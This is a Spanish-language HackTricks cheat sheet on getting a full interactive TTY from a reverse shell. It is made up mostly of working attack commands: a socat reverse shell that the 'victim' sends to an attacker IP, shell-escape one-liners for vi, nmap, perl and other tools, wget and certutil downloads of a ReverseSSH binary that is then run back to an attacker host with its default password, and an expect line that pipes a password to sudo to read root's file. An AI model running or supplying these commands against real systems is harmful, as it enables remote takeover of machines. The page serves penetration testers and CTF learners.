Full TTYs

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

TTY Completo

Ten en cuenta que la shell que establezcas en la variable SHELL debe estar listada dentro de /etc/shells o El valor de la variable SHELL no se encontró en el archivo /etc/shells. Este incidente ha sido reportado. Además, ten en cuenta que los siguientes fragmentos solo funcionan en bash. Si estás en zsh, cambia a bash antes de obtener la shell ejecutando bash.

Python

python3 -c 'import pty; pty.spawn("/bin/bash")'

(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

Puedes obtener el número de filas y columnas ejecutando stty -a

script

script /dev/null -qc /bin/bash #/dev/null is to not store anything
(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

socat

#Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444

#Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

Generar shells

  • python -c 'import pty; pty.spawn("/bin/sh")'

  • echo os.system('/bin/bash')

  • /bin/sh -i

  • script -qc /bin/bash /dev/null

  • perl -e 'exec "/bin/sh";'

  • perl: exec "/bin/sh";

  • ruby: exec "/bin/sh"

  • lua: os.execute('/bin/sh')

  • IRB: exec "/bin/sh"

  • vi: :!bash

  • vi: :set shell=/bin/bash:shell

  • nmap: !sh

ReverseSSH

Una forma conveniente de obtener acceso interactivo a la shell, así como transferencia de archivos y reenvío de puertos, es dejar caer el servidor ssh enlazado estáticamente ReverseSSH en el objetivo.

A continuación se muestra un ejemplo para x86 con binarios comprimidos con upx. Para otros binarios, consulte la página de lanzamientos.

  1. Preparar localmente para capturar la solicitud de reenvío de puerto ssh:

# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh

/dev/shm/reverse-ssh -v -l -p 4444
  • (2a) Objetivo Linux:

# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh

/dev/shm/reverse-ssh -p 4444 kali@10.0.0.2

```bash # Drop it via your preferred way, e.g. certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86.exe reverse-ssh.exe

reverse-ssh.exe -p 4444 kali@10.0.0.2

* Si la solicitud de reenvío de puerto ReverseSSH fue exitosa, ahora deberías poder iniciar sesión con la contraseña predeterminada `letmeinbrudipls` en el contexto del usuario que ejecuta `reverse-ssh(.exe)`:
```bash
# Interactive shell access
ssh -p 8888 127.0.0.1

# Bidirectional file transfer
sftp -P 8888 127.0.0.1

Sin TTY

Si por alguna razón no puedes obtener un TTY completo, aún puedes interactuar con programas que esperan la entrada del usuario. En el siguiente ejemplo, la contraseña se pasa a sudo para leer un archivo:

expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "<THE_PASSWORD_OF_THE_USER>";send "\r\n";interact'
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización